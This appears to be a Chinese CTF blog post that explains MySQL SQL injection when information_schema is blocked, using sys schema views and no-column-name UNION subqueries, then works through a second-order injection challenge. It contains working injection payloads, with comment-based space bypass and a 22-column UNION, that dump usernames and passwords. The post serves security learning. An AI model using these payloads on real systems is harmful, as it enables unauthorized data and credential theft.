前言

发现自己SQL注入的题目做的还不是很够,不太会…

知识点

Bypass information_schema

我们先来看看以前的查询语句

# 爆表
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 爆字段
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1

都是通过information_schema下的数据得到的

img

如果information_schema被ban了怎么操作呢

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

在Mysql设计数据库时,我们常常会给每个表加一个自增的id(或其他名字),这个时候就可以利用sys.schema_auto_increment_columns来代替information_schema

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

如果我们想通过注入获取到没有自增主键的表的数据怎么办

可使用schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间,即也可以理解为是存在最多表I/O争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table

# sys.schema_auto_increment_columns
mysql> select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database();
+---+---+--------------------------+
| 1 | 2 | group_concat(table_name) |
+---+---+--------------------------+
| 1 | 2 | hahaha,user              |
+---+---+--------------------------+
1 row in set (0.01 sec)

# sys.schema_table_statistics_with_buffer
mysql> select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
+---+---+--------------------------+
| 1 | 2 | group_concat(table_name) |
+---+---+--------------------------+
| 1 | 2 | user,hahaha              |
+---+---+--------------------------+
1 row in set (0.04 sec)

上面的方法的确可以获取数据库中表名信息了,但是并没有找到类似于information_schema中COLUMNS的视图,也就是说我们并不能获取数据?

这个时候就得用到无列名注入了

无列名注入

如果在注入过程中我们不知道列名怎么处理呢

mysql> select * from user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | dasd     | dsa      |
+----+----------+----------+
1 row in set (0.00 sec)

# 之前提过:在union查询时,会创建一个虚拟的表单
mysql> select * from user union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | dasd     | dsa      |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.01 sec)

# 在特定情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询(inner query)语句的查询结果,可以为外层查询(outer query)语句提供查询条件。即外层查询为主,表名用的也是外层的.
mysql> select 1,2,3 union select * from user;
+---+------+-----+
| 1 | 2    | 3   |
+---+------+-----+
| 1 | 2    | 3   |
| 1 | dasd | dsa |
+---+------+-----+
2 rows in set (0.00 sec)

# 这个时候表名已经给我们虚拟成1,2,3了,知道了表名,就可以进行查询了
mysql> select * from (select 1,2,3 union select * from user)x;
+---+------+-----+
| 1 | 2    | 3   |
+---+------+-----+
| 1 | 2    | 3   |
| 1 | dasd | dsa |
+---+------+-----+
2 rows in set (0.00 sec)

mysql> select `3` from (select 1,2,3 union select * from user)x;
+-----+
| 3   |
+-----+
| 3   |
| dsa |
+-----+
2 rows in set (0.02 sec)

知道了原理,那步骤呢?

# 由于我们一开始是不知道有多少个列的,所以我们得先测出有多少个列
# 常规的order by 这里就不说了,因为我们测试的这题or都被ban了

# 下面的子查询呢,以1,2,3为列名进行查询,如果数量不同则会报错,注意这里需要用`(select 1)a`这种格式,直接使用`select * from 1,2,3 union select *from user;`是会报错的,这个应该不用多说吧

mysql> select * from (select 1)a ,(select 2)b union select * from user;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

mysql> select * from (select 1)a ,(select 2)b,(select 3)c union select * from user;
+---+------+-----+
| 1 | 2    | 3   |
+---+------+-----+
| 1 | 2    | 3   |
| 1 | dasd | dsa |
+---+------+-----+
2 rows in set (0.00 sec)

# 可知有三个列,直接查询我们想要的数据(其实上面已经得到了...
mysql> select x.3 from (select * from (select 1)a ,(select 2)b,(select 3)c union select * from user)x;
+-----+
| 3   |
+-----+
| 3   |
| dsa |
+-----+
2 rows in set (0.00 sec)

Writeup

这是一个二次注入,当我们把广告写进去,去查看的时候会有SQL注入

常规尝试,结果尝试,是单引号闭合,过滤了一些常规的字符,甚至连or这个字母全部给ban了…

1'闭合成功,union查询也是可以的,由于常用的order被ban了,所以可以用group by或者直接用select 1,2,3...这样尝试查看多少个字段,但是在操作过程中发现他把全部空格给去掉了,进过尝试可以用/**/代替空格,这里就不细说(下次开一个绕过的专题吧,下次一定一定…)

最狗的是什么的,他居然有22个字段…哇,太恶心了吧

1' union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

img

可以看到会显的是2,3个位置

1' union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

img

由于or被ban了,information_schema也是不能用的了,这时候得用sys.schema_auto_increment_columns了,但是,你payload打进去…不存在…???官方WP也是这么写的(类似)

1' union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/ sys.schema_auto_increment_columns/**/where/**/ table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

img

没得办法了,去看了WP,发现是表名users,下次搞不出来猜一下吧,然后就是无列名注入了

# 在判断多少列的时候一直出错,下面这个没报什么错误,但是总是说列数对不上,我也很迷
1' union/**/select/**/1,(select/**/1/**/from/**/(select/**/1)a,(select/**/2)b,(select/**/3)c/**/union/**/ select/**/* from/**/users)d,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

# 直接使用吧,在使用过程中列数不对也是会报错的
-1'/**/union/**/select/**/1,
(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
>>> The used SELECT statements have a different number of columns

# 增加列数,成功回显
-1'/**/union/**/select/**/1,
(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

img

mysql> select *from user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | dasd     | dsa      |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select 1,2,3 from user union select *from user;
+---+------+-----+
| 1 | 2    | 3   |
+---+------+-----+
| 1 | 2    | 3   |
| 1 | dasd | dsa |
+---+------+-----+
2 rows in set (0.00 sec)

我们来看一下这个表单,上面得到的相当于我们的

mysql> select x.2 from (select 1,2,3 from user union select *from user)x;
+------+
| 2    |
+------+
| 2    |
| dasd |
+------+
2 rows in set (0.00 sec)

也就是得到的是原先表格的username的值,现在我们可以读取下一个列名password的数据

-1'/**/union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

img

参考资料

  • https://www.anquanke.com/post/id/193512

  • https://www.chabug.org/ctf/852.html

  • https://blog.csdn.net/weixin_43940853/article/details/103985055

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...